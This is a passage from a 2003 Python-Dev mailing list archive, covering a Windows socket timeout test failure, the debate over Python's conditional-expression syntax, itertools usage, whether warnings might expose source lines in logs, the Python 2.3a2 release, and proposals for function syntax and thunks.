be tomorrow (Feb 19). I expect to be freezing around noon EST (1800 MET). --Guido van Rossum (home page: http://www.python.org/~guido/) From tim.one@comcast.net Tue Feb 18 22:38:15 2003 From: tim.one@comcast.net (Tim Peters) Date: Tue, 18 Feb 2003 17:38:15 -0500 Subject: [Python-Dev] test_timeout fails on Win98SE Message-ID: NealN very recently changed test_timeout so that it actually ran its tests (it didn't before, unless it was run directly "by hand"). The result here on Win98SE: test test_timeout failed -- Traceback (most recent call last): File "C:\CODE\PYTHON\lib\test\test_timeout.py", line 107, in testConnectTimeout self.addr_remote) File "C:\CODE\PYTHON\lib\unittest.py", line 285, in failUnlessRaises raise self.failureException, excName AssertionError: error 1 test failed: test_timeout Doing what the test does by hand doesn't raise an exception either: >>> import socket >>> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) >>> sock.settimeout(.001) >>> sock.connect(('www.google.com', 80)) >>> I suspect (but don't know) that Win98SE treats .001 as if it were some larger value. It would help if I could find an address that doesn't get connected instantly from here <0.7 wink>. From logi.stix@verizon.net Tue Feb 18 23:27:38 2003 From: logi.stix@verizon.net (logistix) Date: Tue, 18 Feb 2003 18:27:38 -0500 Subject: [Python-Dev] test_timeout fails on Win98SE In-Reply-To: Message-ID: <000001c2d7a5$542e95b0$20bba8c0@XP> > -----Original Message----- > From: python-dev-admin@python.org > [mailto:python-dev-admin@python.org] On Behalf Of Tim Peters > Sent: Tuesday, February 18, 2003 5:38 PM > To: PythonDev > Subject: [Python-Dev] test_timeout fails on Win98SE > > > I suspect (but don't know) that Win98SE treats .001 as if it > were some larger value. It would help if I could find an > address that doesn't get connected instantly from here <0.7 wink>. > > I don't know if it's related, but Win98's lowest clock resolution is 55ms. It's 10ms in NT. I don't have a 98 install to see if 0.006 will succeed or still fail though. From tim.one@comcast.net Tue Feb 18 23:33:20 2003 From: tim.one@comcast.net (Tim Peters) Date: Tue, 18 Feb 2003 18:33:20 -0500 Subject: [Python-Dev] test_timeout fails on Win98SE In-Reply-To: Message-ID: Hmm. test_timeout is timing out on Win98SE, but not returning an error. In socketmodule.c's internal_connect(): static int internal_connect(PySocketSockObject *s, struct sockaddr *addr, int addrlen) { int res; res = connect(s->sock_fd, addr, addrlen); #ifdef MS_WINDOWS if (s->sock_timeout > 0.0) { if (res < 0 && WSAGetLastError() == WSAEWOULDBLOCK) { internal_select(s, 1); res = connect(s->sock_fd, addr, addrlen); if (res < 0) { /* On Win98, WSAEISCONN was seen here. But * on Win2K, WSAEINVAL. So accept both as * meaning "fine". */ int code = WSAGetLastError(); if (code == WSAEISCONN || code == WSAEINVAL) res = 0; } } } what happens on Win98SE is that int code is WSAEINVAL after internal_select() times out and the second connect() call returns. But the code here then goes out of its way to say that's not really a problem, presumably because Win2K sets WSAEINVAL if we're actually connected at this point. The winsock docs appear mostly silent on all of these subtleties, and I don't have Win2K to test it on at the moment. Maybe this code has to split into different Windows-specific flavors; or maybe Win2K also sets WSAEINVAL in this case, in which case it will be impossible to distinguish a successful connect from a failure to connect via this code. BTW, does the Win2K comment look fishy to anyone else? WSAEISCONN makes a lot more sense if we try to connect when we're already connected. Of course, making a lot of sense doesn't bear any clear relationship to what happens under winsock ... From python@rcn.com Wed Feb 19 00:54:59 2003 From: python@rcn.com (Raymond Hettinger) Date: Tue, 18 Feb 2003 19:54:59 -0500 Subject: [Python-Dev] 308: the debate is petering out References: <004001c2d719$25deae20$6d94fea9@newmexico> <200302181456.h1IEuvk20958@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <010a01c2d7b1$87ec78c0$125ffea9@oemcomputer> > Raymond, have any new proposals been suggested and not shot down? I've been away from the keyboard for three days and will need this evening to get caught-up on all the posts. If something new and wonderful came-up, I'll update the PEP. > Somebody mentioned usability studies. Did anything come out of that? Yes. A bunch of people tried out the various forms on children, significant others, and employees. * In general, all of the forms were decipherable by people who already knew Python. * The c?a:b form was understandable to people familiar with other languages. With a single example, others were able to understand the form and found it easy to use. The surprise was that the n-ary form (using parens for sub-expressions) managed to confuse even non-beginners. The best guess at the cause is that the grouping and precedence cues for parentheses do not mix well with the concepts of grouping by ternary operator and of short-circuit evaluation. * The (if c: a else: b) form stumped some of the victims. In some experiments, this was especially surprising because they had just seen one of the other forms and had some expectation of what it was supposed to do. The root problem appears to be the blurring of the line between statements and expressions where the keyword and colon cues proved misleading. On the plus side, everyone who understood the ternary version had no problem with the n-ary version. * The c then a else b form was understood by most though a few thought it looked unnatural in longer expressions. There were some who understood it but could not make the jump to the n-ary form (using the elif keyword). It appears that the colons help to visually parse the n-ary form. Raymond Hettinger From python@rcn.com Wed Feb 19 01:40:32 2003 From: python@rcn.com (Raymond Hettinger) Date: Tue, 18 Feb 2003 20:40:32 -0500 Subject: [Python-Dev] 308: the debate is petering out References: <004001c2d719$25deae20$6d94fea9@newmexico> <200302181456.h1IEuvk20958@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <009401c2d7b7$e4d8ddc0$125ffea9@oemcomputer> > Raymond, have any new proposals been suggested and not shot down? Someone re-proposed c ? a else b. Their rationale is that the ? is a better marker than "then" and is suggestive enough to not need a leading "if"; it doesn't require a new keyword and does not overload the colon. No one shot this down but it didn't generate any real support either. There was an interesting, weird, and fruitless discussion on how "c then a else b" could be implemented as a pair of binary operators that are not required to be used together. There was a rapidly shot down idea to use bool.choose(a, b) where choose() was a special method that could somehow implement lazy evaluation of its arguments. A recent proposal is: (? : , : , ?). There have only been a few hours for comment. Though the visual cues are there, my issue with it is that the colon usage is likely to confuse anyone exposed to the c?a:b form in other languages where the colon separates the alteratives rather than the condition and alternative. Raymond Hettinger From python@rcn.com Wed Feb 19 03:13:44 2003 From: python@rcn.com (Raymond Hettinger) Date: Tue, 18 Feb 2003 22:13:44 -0500 Subject: [Python-Dev] [rfc] map enhancement References: <20030218111844.GA10112@logilab.fr> Message-ID: <002f01c2d7c4$e99652e0$125ffea9@oemcomputer> > It appears as though you ought to be able to write this as: > > return map(operator.getitem, data, b=1) > > except that operator.getitem, in common with many builtin functions doesn't > accept any keyword arguments. > > This is a pity as it cripples most of the situations where you might > otherwise want to use this. e.g. add a constant to elements of a list, or > multiply by a constant. For Py2.3, the itertools module can help: itertools.imap(operator.__getitem__, data, itertools.repeat(1)) Raymond Hettinger From pedronis@bluewin.ch Wed Feb 19 07:02:58 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Wed, 19 Feb 2003 08:02:58 +0100 Subject: [Python-Dev] 308: the debate is petering out References: <004001c2d719$25deae20$6d94fea9@newmexico> <200302181456.h1IEuvk20958@pcp02138704pcs.reston01.va.comcast.net> <009401c2d7b7$e4d8ddc0$125ffea9@oemcomputer> Message-ID: <000f01c2d7e4$ef83c1e0$6d94fea9@newmexico> There were a group of people that would find a when C else B with 'when' instead of 'if' less confusing than 'a if C else b'. The alternative (as in Haskell, ML,...): if C then a else b was also mentioned a few times. For the rest I think we have all reasonable contenders. ----- Original Message ----- From: "Raymond Hettinger" To: "Guido van Rossum" ; Sent: Wednesday, February 19, 2003 2:40 AM Subject: Re: [Python-Dev] 308: the debate is petering out > > Raymond, have any new proposals been suggested and not shot down? > > Someone re-proposed c ? a else b. Their rationale is that the ? is a better > marker than "then" and is suggestive enough to not need a leading "if"; > it doesn't require a new keyword and does not overload the colon. > No one shot this down but it didn't generate any real support either. > > There was an interesting, weird, and fruitless discussion on how > "c then a else b" could be implemented as a pair of binary operators > that are not required to be used together. > > There was a rapidly shot down idea to use bool.choose(a, b) where > choose() was a special method that could somehow implement > lazy evaluation of its arguments. > > A recent proposal is: (? : , : , ?). > There have only been a few hours for comment. Though the visual > cues are there, my issue with it is that the colon usage is likely to confuse > anyone exposed to the c?a:b form in other languages where the colon > separates the alteratives rather than the condition and alternative. > > > Raymond Hettinger > > _______________________________________________ > Python-Dev mailing list > Python-Dev@python.org > http://mail.python.org/mailman/listinfo/python-dev From Ludovic.Aubry@logilab.fr Wed Feb 19 10:22:07 2003 From: Ludovic.Aubry@logilab.fr (Ludovic Aubry) Date: Wed, 19 Feb 2003 11:22:07 +0100 Subject: [Python-Dev] [rfc] map enhancement In-Reply-To: <002f01c2d7c4$e99652e0$125ffea9@oemcomputer> References: <20030218111844.GA10112@logilab.fr> <002f01c2d7c4$e99652e0$125ffea9@oemcomputer> Message-ID: <20030219102206.GA16911@logilab.fr> This is nice, The strongest objection regarding using map(f,L,x=K) is that there is no clear way of telling the reader that the keyword argument will be passed as a constant Your solution for itertools can work with map too: def repeat(v,n): while n: yield v n-=1 map(f,L,repeat(K,len(L))) would do the trick As a nice addition it also allows one to put constants anywhere in the argument list for f Thanks for the idea On Tue, Feb 18, 2003 at 10:13:44PM -0500, Raymond Hettinger wrote: > > It appears as though you ought to be able to write this as: > > > > return map(operator.getitem, data, b=1) > > > > except that operator.getitem, in common with many builtin functions doesn't > > accept any keyword arguments. > > > > This is a pity as it cripples most of the situations where you might > > otherwise want to use this. e.g. add a constant to elements of a list, or > > multiply by a constant. > > For Py2.3, the itertools module can help: > > itertools.imap(operator.__getitem__, data, itertools.repeat(1)) > > > Raymond Hettinger > > _______________________________________________ > Python-Dev mailing list > Python-Dev@python.org > http://mail.python.org/mailman/listinfo/python-dev -- Ludovic Aubry LOGILAB, Paris (France). http://www.logilab.com http://www.logilab.fr http://www.logilab.org From mchermside@ingdirect.com Wed Feb 19 14:24:37 2003 From: mchermside@ingdirect.com (Chermside, Michael) Date: Wed, 19 Feb 2003 09:24:37 -0500 Subject: [Python-Dev] Re: 308: the debate is petering out Message-ID: <7F171EB5E155544CAC4035F0182093F03CF723@INGDEXCHSANC1.ingdirect.com> Also worth mentioning by way of summary is that several people=20 wrote about how they preferred the originally suggested form: trueVal if cond else falseVal mostly on readability grounds. I, too, find the order a bit peculiar, but it should be mentioned as several people brought it up. -- Michael Chermside From python@rcn.com Wed Feb 19 16:15:19 2003 From: python@rcn.com (Raymond Hettinger) Date: Wed, 19 Feb 2003 11:15:19 -0500 Subject: [Python-Dev] [rfc] map enhancement References: <20030218111844.GA10112@logilab.fr> <002f01c2d7c4$e99652e0$125ffea9@oemcomputer> <20030219102206.GA16911@logilab.fr> Message-ID: <00a001c2d832$18f578a0$5b0da044@oemcomputer> > Your solution for itertools can work with map too: > > def repeat(v,n): > while n: > yield v > n-=1 > > map(f,L,repeat(K,len(L))) The itertools combine together so you can do it all at C speed and not have to create your own ad-hoc generator: from itertools import repeat, islice map(f, L, islice(repeat(K),len(L))) Raymond Hettinger From mal@lemburg.com Wed Feb 19 17:09:36 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Wed, 19 Feb 2003 18:09:36 +0100 Subject: [Python-Dev] test_timeout fails on Win98SE In-Reply-To: References: Message-ID: <3E53BA50.5050100@lemburg.com> Tim Peters wrote: > Hmm. test_timeout is timing out on Win98SE, but not returning an error. > In socketmodule.c's internal_connect(): > > static int > internal_connect(PySocketSockObject *s, struct sockaddr *addr, int addrlen) > { > int res; > > res = connect(s->sock_fd, addr, addrlen); > > #ifdef MS_WINDOWS > > if (s->sock_timeout > 0.0) { > if (res < 0 && WSAGetLastError() == WSAEWOULDBLOCK) { > internal_select(s, 1); > res = connect(s->sock_fd, addr, addrlen); > if (res < 0) { > /* On Win98, WSAEISCONN was seen here. But > * on Win2K, WSAEINVAL. So accept both as > * meaning "fine". > */ > int code = WSAGetLastError(); > if (code == WSAEISCONN || > code == WSAEINVAL) > res = 0; > } > } > } > > what happens on Win98SE is that int code is WSAEINVAL after > internal_select() times out and the second connect() call returns. But the > code here then goes out of its way to say that's not really a problem, > presumably because Win2K sets WSAEINVAL if we're actually connected at this > point. The winsock docs appear mostly silent on all of these subtleties, > and I don't have Win2K to test it on at the moment. Maybe this code has to > split into different Windows-specific flavors; or maybe Win2K also sets > WSAEINVAL in this case, in which case it will be impossible to distinguish a > successful connect from a failure to connect via this code. > > BTW, does the Win2K comment look fishy to anyone else? WSAEISCONN makes a > lot more sense if we try to connect when we're already connected. Of > course, making a lot of sense doesn't bear any clear relationship to what > happens under winsock ... MS isn't sure about this either... http://lists.w3.org/Archives/Public/www-lib/2000AprJun/0125.html What I don't understand is why an error is set when you are in fact properly connected. Looks like Guido knows the answer: http://mail.python.org/pipermail/zodb-checkins/2002-September/002669.html -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 19 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 41 days left EuroPython 2003, Charleroi, Belgium: 125 days left From mal@lemburg.com Wed Feb 19 17:21:12 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Wed, 19 Feb 2003 18:21:12 +0100 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: References: Message-ID: <3E53BD08.80900@lemburg.com> Tim Peters wrote: > [Guido] > >>I have a tentative fix for this (use PyNumber_Check() in >>default_3way_compare() and augment PyNumber_Check() to test whether >>the type defines nb_int). > > Sounds good to me. +1 > It's interesting then that complex numbers will pass the > PyNumber_Check test because they set nb_int to a routine that > unconditionally raises an exception. Checking for nb_negative may be > crisper? Isn't that caveat in the complex implementation ? Converting a complex with 0 img part would not cause any loss of information (apart from the usual integer truncations ;-) -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 19 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 41 days left EuroPython 2003, Charleroi, Belgium: 125 days left From guido@python.org Wed Feb 19 18:06:12 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 19 Feb 2003 13:06:12 -0500 Subject: [Python-Dev] test_timeout fails on Win98SE In-Reply-To: Your message of "Wed, 19 Feb 2003 18:09:36 +0100." <3E53BA50.5050100@lemburg.com> References: <3E53BA50.5050100@lemburg.com> Message-ID: <200302191806.h1JI6CV05071@odiug.zope.com> > Looks like Guido knows the answer: > http://mail.python.org/pipermail/zodb-checkins/2002-September/002669.html But somehow that doesn't work either. I recall a MS page about this that recommended not trying a second connect() but calling select() to determine whether the socket is writable (== connected). I've now implemented that (in the Windows version of the code only). The test_timeout.py now works for me on Win98 (most of the time) and on Win2k (all the time except the one time when ZoneAlarm interfered :-). I consider this closed now. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Wed Feb 19 18:11:24 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 19 Feb 2003 13:11:24 -0500 Subject: [Python-Dev] Re: Python 2.3a2 release today? In-Reply-To: Your message of "Tue, 18 Feb 2003 17:21:28 EST." Message-ID: <200302191811.h1JIBPm05151@odiug.zope.com> I'm ready to start the clock ticking for a release of 2.3a2 TODAY (Wednesday). I'll tag the tree and do the release from there. Please, no checkins on either the branch or the head until you see the release announced on python.org or in c.l.py.a, or unless I ask you. --Guido van Rossum (home page: http://www.python.org/~guido/) From fdrake@acm.org Wed Feb 19 18:48:07 2003 From: fdrake@acm.org (Fred L. Drake, Jr.) Date: Wed, 19 Feb 2003 13:48:07 -0500 Subject: [Python-Dev] Python 2.3a2 Doc tree frozen Message-ID: <15955.53607.453702.288812@grendel.zope.com> Guido has tagged the tree for the 2.3a2 release, and I'm building the documentation packages. The Doc/ tree is frozen until the release is done. Thanks! -Fred -- Fred L. Drake, Jr. PythonLabs at Zope Corporation From guido@python.org Wed Feb 19 19:57:33 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 19 Feb 2003 14:57:33 -0500 Subject: [Python-Dev] privacy in log files? Message-ID: <200302191957.h1JJvoU20161@odiug.zope.com> I found this comment in Parser/tokenizer.c: /* We don't use PyErr_WarnExplicit() here because printing the line in question to e.g. a log file could result in sensitive information being exposed. */ I didn't see a SF reference there or in the CVS checkin comment, so I'm stumped. What's the use case? How could copying a line of source code to a log file possibly expose information that the owner of the log file (often root) doesn't already have access to? --Guido van Rossum (home page: http://www.python.org/~guido/) From mal@lemburg.com Wed Feb 19 20:29:05 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Wed, 19 Feb 2003 21:29:05 +0100 Subject: [Python-Dev] Re: privacy in log files? In-Reply-To: <200302191957.h1JJvoU20161@odiug.zope.com> References: <200302191957.h1JJvoU20161@odiug.zope.com> Message-ID: <3E53E911.2000602@lemburg.com> Guido van Rossum wrote: > I found this comment in Parser/tokenizer.c: > > /* We don't use PyErr_WarnExplicit() here because > printing the line in question to e.g. a log file > could result in sensitive information being > exposed. */ > > I didn't see a SF reference there or in the CVS checkin comment, so > I'm stumped. What's the use case? The use case is easily explained: I have gotten a lot of emails from various people about the new source code encoding feature and the warning that is generated for code lines which have non-ASCII characters in them if the file doesn't have a coding header. Many of these people mentioned that webserver logs (for CGI scripts) would get flooded with these warnings and that there is a potential security breach here if a source line is being copied into to these logs. It is rather common that these logs are world readable, so passwords and other sensible information could easily escape the script's source code, e.g. login information for databases. > How could copying a line of source > code to a log file possibly expose information that the owner of the > log file (often root) doesn't already have access to? The problem is not the owner of the log file, it's the access permissions that introduce the problem. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 19 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 41 days left EuroPython 2003, Charleroi, Belgium: 125 days left From guido@python.org Wed Feb 19 20:37:13 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 19 Feb 2003 15:37:13 -0500 Subject: [Python-Dev] Re: privacy in log files? In-Reply-To: Your message of "Wed, 19 Feb 2003 21:29:05 +0100." <3E53E911.2000602@lemburg.com> References: <200302191957.h1JJvoU20161@odiug.zope.com> <3E53E911.2000602@lemburg.com> Message-ID: <200302192037.h1JKbEN20296@odiug.zope.com> > Guido van Rossum wrote: > > I found this comment in Parser/tokenizer.c: > > > > /* We don't use PyErr_WarnExplicit() here because > > printing the line in question to e.g. a log file > > could result in sensitive information being > > exposed. */ > > > > I didn't see a SF reference there or in the CVS checkin comment, so > > I'm stumped. What's the use case? [MAL] > I have gotten a lot of emails from various people about the > new source code encoding feature and the warning that is > generated for code lines which have non-ASCII characters > in them if the file doesn't have a coding header. Is the idea that non-ASCII characters are likely to be used in passwords? > Many of these people mentioned that webserver logs (for CGI > scripts) would get flooded with these warnings and that there > is a potential security breach here if a source line is > being copied into to these logs. It is rather common that > these logs are world readable, so passwords and other sensible > information could easily escape the script's source code, > e.g. login information for databases. I can interpret world-readable in two ways. On Unix, it traditionally means that anybody with a login name can read it. Since Apache typically runs as user nobody, CGI scripts have to be world-readable as well. So I'm still not convinced. Or are there sites that actually publish their log files on the web? What would the point of that be? I'd be surprised if there wasn't a lot of other privacy-sensitive data in such log files, and the complainers should complain about the public logs rather than focusing on Python trying to issue a useful error message. --Guido van Rossum (home page: http://www.python.org/~guido/) From barry@python.org Wed Feb 19 21:02:27 2003 From: barry@python.org (Barry A. Warsaw) Date: Wed, 19 Feb 2003 16:02:27 -0500 Subject: [Python-Dev] Re: privacy in log files? References: <200302191957.h1JJvoU20161@odiug.zope.com> <3E53E911.2000602@lemburg.com> <200302192037.h1JKbEN20296@odiug.zope.com> Message-ID: <15955.61667.742030.303953@gargle.gargle.HOWL> >>>>> "GvR" == Guido van Rossum writes: GvR> I'd be surprised if there wasn't a lot of other GvR> privacy-sensitive data in such log files, and the complainers GvR> should complain about the public logs rather than focusing on GvR> Python trying to issue a useful error message. I agree on both points. -Barry From blunck@gst.com Wed Feb 19 21:12:34 2003 From: blunck@gst.com (Christopher Blunck) Date: Wed, 19 Feb 2003 16:12:34 -0500 Subject: [Python-Dev] Re: privacy in log files? In-Reply-To: <200302192037.h1JKbEN20296@odiug.zope.com> References: <200302191957.h1JJvoU20161@odiug.zope.com> <3E53E911.2000602@lemburg.com> <200302192037.h1JKbEN20296@odiug.zope.com> Message-ID: <20030219211234.GA22100@homer.gst.com> On Wed, Feb 19, 2003 at 03:37:13PM -0500, Guido van Rossum wrote: > I can interpret world-readable in two ways. On Unix, it traditionally > means that anybody with a login name can read it. Since Apache > typically runs as user nobody, CGI scripts have to be world-readable > as well. I started writing three separate emails to play devil's advocate here and "prove guido wrong", but half way through each email I realized that there really isn't much of a vulnerability here. I originally considered the premise that CGI's must be world readable (perhaps o+x would suffice) - it did not. What about if MyCGI.py imports MySecretPasswords and MySecretPasswords is in .pyc format - nope, that needs to be o+r also. What about if MyCGI.py reads a file MySecretPasswords.txt or evals the statements contained within? Nope, MySecretPasswords.txt must be o+r. Bottom line: if the webserver is going to access it, or hand it to python to access, it's got to be o+r. And under those circumstances, Guido's right on in his statement of "if they are putting passwords in o+r modules, anyone with an account will be able to view them." The *only* possibility I could come up with was attaching to a remote interpretter an asking it to execute modules you feed it (you specify the path to the module). Under that scenario one could run the interpretter as a legitimate user and access files the webserver could not access. That seems like a really big stretch and if you did go that route you'd probably build in functionality to handle remote exceptions so that code with passwords was not exposed to the remote client. Respectfully, -c -- 4:00pm up 121 days, 7:35, 1 user, load average: 0.08, 0.26, 0.40 From mal@lemburg.com Wed Feb 19 10:17:28 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Wed, 19 Feb 2003 11:17:28 +0100 Subject: [Python-Dev] Re: privacy in log files? In-Reply-To: <200302192037.h1JKbEN20296@odiug.zope.com> References: <200302191957.h1JJvoU20161@odiug.zope.com> <3E53E911.2000602@lemburg.com> <200302192037.h1JKbEN20296@odiug.zope.com> Message-ID: <3E5359B8.3040201@lemburg.com> Guido van Rossum wrote: >>Guido van Rossum wrote: >> >>>I found this comment in Parser/tokenizer.c: >>> >>> /* We don't use PyErr_WarnExplicit() here because >>> printing the line in question to e.g. a log file >>> could result in sensitive information being >>> exposed. */ >>> >>>I didn't see a SF reference there or in the CVS checkin comment, so >>>I'm stumped. What's the use case? > > > [MAL] > >>I have gotten a lot of emails from various people about the >>new source code encoding feature and the warning that is >>generated for code lines which have non-ASCII characters >>in them if the file doesn't have a coding header. > > Is the idea that non-ASCII characters are likely to be used in > passwords? Not necessarily, but the line could have a non-ASCII comment causing the warning. >>Many of these people mentioned that webserver logs (for CGI >>scripts) would get flooded with these warnings and that there >>is a potential security breach here if a source line is >>being copied into to these logs. It is rather common that >>these logs are world readable, so passwords and other sensible >>information could easily escape the script's source code, >>e.g. login information for databases. > > I can interpret world-readable in two ways. On Unix, it traditionally > means that anybody with a login name can read it. Since Apache > typically runs as user nobody, CGI scripts have to be world-readable > as well. They have to be group nobody or nogroup (depending on distribution) and group readable. World readable is not needed. > So I'm still not convinced. Or are there sites that > actually publish their log files on the web? What would the point of > that be? I'd be surprised if there wasn't a lot of other > privacy-sensitive data in such log files, and the complainers should > complain about the public logs rather than focusing on Python trying > to issue a useful error message. True, but why stir up more noise ? The whole idea in itself has already caused endless discussions. The message now prints the file name and the line number. I think that's good enough. BTW, there's also another reason not to print the source code line: since we know it contains non-ASCII data, it would clutter up the log file, possibly making it useless to other programs reading it. The same it true for interactive terminal sessions that could start to behave in strange ways after printing what they think are control characters. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 19 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 41 days left EuroPython 2003, Charleroi, Belgium: 125 days left From guido@python.org Wed Feb 19 21:24:06 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 19 Feb 2003 16:24:06 -0500 Subject: [Python-Dev] Re: privacy in log files? In-Reply-To: Your message of "Wed, 19 Feb 2003 11:17:28 +0100." <3E5359B8.3040201@lemburg.com> References: <200302191957.h1JJvoU20161@odiug.zope.com> <3E53E911.2000602@lemburg.com> <200302192037.h1JKbEN20296@odiug.zope.com> <3E5359B8.3040201@lemburg.com> Message-ID: <200302192124.h1JLO7H21814@odiug.zope.com> > They have to be group nobody or nogroup (depending on distribution) > and group readable. World readable is not needed. Though that is usually the intention of those groups... > > So I'm still not convinced. Or are there sites that > > actually publish their log files on the web? What would the point of > > that be? I'd be surprised if there wasn't a lot of other > > privacy-sensitive data in such log files, and the complainers should > > complain about the public logs rather than focusing on Python trying > > to issue a useful error message. > > True, but why stir up more noise ? The whole idea in itself > has already caused endless discussions. The fact that people are concerned about privacy doesn't mean they aren't wrong. > The message now prints the file name and the line number. I think > that's good enough. > > BTW, there's also another reason not to print the source code line: > since we know it contains non-ASCII data, it would clutter up the > log file, possibly making it useless to other programs reading > it. The same it true for interactive terminal sessions that could > start to behave in strange ways after printing what they think are > control characters. Now that's a reason I can support. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Thu Feb 20 01:19:01 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 19 Feb 2003 20:19:01 -0500 Subject: [Python-Dev] RELEASED: Python 2.3a2 Message-ID: <200302200119.h1K1J1T26419@pcp02138704pcs.reston01.va.comcast.net> Python 2.3a2 is the second (and likely last) alpha release of Python 2.3. Much improved since the first alpha, chockfull of things you'd like to check out: http://www.python.org/2.3/ Some highlights of what's new since 2.3a1: - fixed mishandling of negated hex/oct literals (PEP 237) - a new, more efficient pickling protocol (PEP 307) - functions have a __module__ attribute - new module itertools: efficient looping constructs - many improvements to the new datetime module New since Python 2.2: - Many new and improved library modules, e.g. sets, heapq, datetime, textwrap, optparse, logging, bsddb, bz2, tarfile, ossaudiodev, and a new random number generator based on the highly acclaimed Mersenne Twister algorithm (with a period of 2**19937-1!). - New builtin enumerate(): an iterator yielding (index, item) pairs. - Extended slices, e.g. "hello"[::-1] returns "olleh". - Universal newlines mode for reading files (converts \r, \n and \r\n all into \n). - Source code encoding declarations. (PEP 263) - Import from zip files. (PEP 273 and PEP 302) - FutureWarning issued for "unsigned" operations on ints. (PEP 237) - Faster list.sort() is now stable. - Unicode filenames on Windows. - Karatsuba long multiplication (running time O(N**1.58) instead of O(N**2)). We request widespread testing of this release but don't recommend using it for production situations. Alpha releases contain bugs; in addition, new APIs are not yet considered stable and may change until the first beta release. If you have an important Python application, we strongly recommend that you try it out with an alpha release and report any incompatibilities or other problems you may encounter, so that they can be fixed before the final release. To report problems, use the SourceForge bug tracker: http://sourceforge.net/tracker/?group_id=5470&atid=105470 Enjoy! --Guido van Rossum (home page: http://www.python.org/~guido/) From aaron@reportlab.com Thu Feb 20 02:20:00 2003 From: aaron@reportlab.com (Aaron Watters) Date: 19 Feb 2003 18:20:00 -0800 Subject: [Python-Dev] Re: python-dev Summary for 2003-01-16 through 2003-01-31 References: Message-ID: <9a6d7d9d.0302191819.2d9295d7@posting.google.com> > `Re: GadflyDA in core? Or as add-on-product?`__ > ================================================ > __ http://mail.python.org/pipermail/python-dev/2003-January/032295.html > > The idea was proposed to add Gadfly_ to the stdlib. Two issues came > up about doing this. One was that it would require having to deal > with another license. Aaron Watters (the original author of Gadfly) > was emailed to ask if he would be willing to donate the code to the > `Python Software Foundation`_, but he did not respond (at least to the > list). I have now. The answer was "yes" and I'm very proud to have been asked! > The other issue was the use of kjbuckets_. Guido was -1 on letting it > into the stdlib because he had "heard it's some of .the hairiest C > code ever written". I've seen a lot of C code, so that is *really* a compliment! Thanks! :) > But Richard Jones said that Anthony Baxter is > working on removing the dependency on kjbuckets by rewriting the code > using the Sets_ module introduced in Python 2.3. I would strongly prefer that kjbuckets be maintained as the default if present, but given that I stopped working on gadfly some years ago I will leave that to the discretion of others. I doubt Sets_ would be faster. -- Aaron Watters From whisper@oz.net Thu Feb 20 08:28:38 2003 From: whisper@oz.net (David LeBlanc) Date: Thu, 20 Feb 2003 00:28:38 -0800 Subject: [Python-Dev] What happened to fixed point? Message-ID: I was told that FixedPoint had a sponsor (if that's the right word) for 2.3. Did it not make it or did it just not get mentioned in the release notes for a2? David LeBlanc Seattle, WA USA From pedronis@bluewin.ch Thu Feb 20 08:47:29 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Thu, 20 Feb 2003 09:47:29 +0100 Subject: [Python-Dev] python-dev Summary for 2003-02-01 through 2003-02-15 References: Message-ID: <00d801c2d8bc$b3f7adc0$6d94fea9@newmexico> From: "Brett Cannon" > ============================= > `Extended Function syntax`__ > ============================= ... > A variant on all of this that was proposed was:: > > def fxn(args) as fun1, fun2, ..., funX: > ...code... > > or:: > ... > The two proposed syntaxes above were suggested to be made very general so > that you could do something like:: > > def fxn(args) as function: > ...code... > > And since this was all about how make using property() easier, > property-specific suggestions included: > > class klass(object): > property prup: > ...code... > > or:: > > class klass(object): > def prup as property: > ...code... > > The problem with the former is that it requires turning "property" into a > keyword. > > None of these are PEPs yet nor have had BDFL pronouncement. it is (maybe) worth to remember that the syntaxes: def fun(args) as staticmethod: ... def Interface(J,K) as interface: ... cannot really be supported together (unless to go for a super kludgy & ambiguous solution), because the former requires formal parameters and the latter takes a tuple of expressions to be computed at definition time. > > =========== > `thunks`__ > =========== > __ http://mail.python.org/pipermail/python-dev/2003-February/032828.html > > Splinter threads: > - `Extended Function syntax > `__ > - `exec/with thunk-handling proposal > `__ > > Thanks to Samuele Pedroni for providing me a technical summary that I was > able to use to help write this summary. > > The concept of adding thunks to Python came up through the extended > function syntax thread (in case you don't know what a thunk is, you can > think of it as a chunk of code that is compiled and ready to use but is > not executed until a later time). Some suggested syntaxes were:: > > lvalue = thunk(args): > ...code... > > or:: > > do lvalue = thunk(args): > ...code... > thunk(args) above is probably more precisely thunk_consumer_maker(args) (I think I called it a "behavior"), the thunk truly would be a reification of the ...code... suite, i.e. an object for ...code... . From mal@lemburg.com Thu Feb 20 11:31:43 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Thu, 20 Feb 2003 12:31:43 +0100 Subject: [Python-Dev] 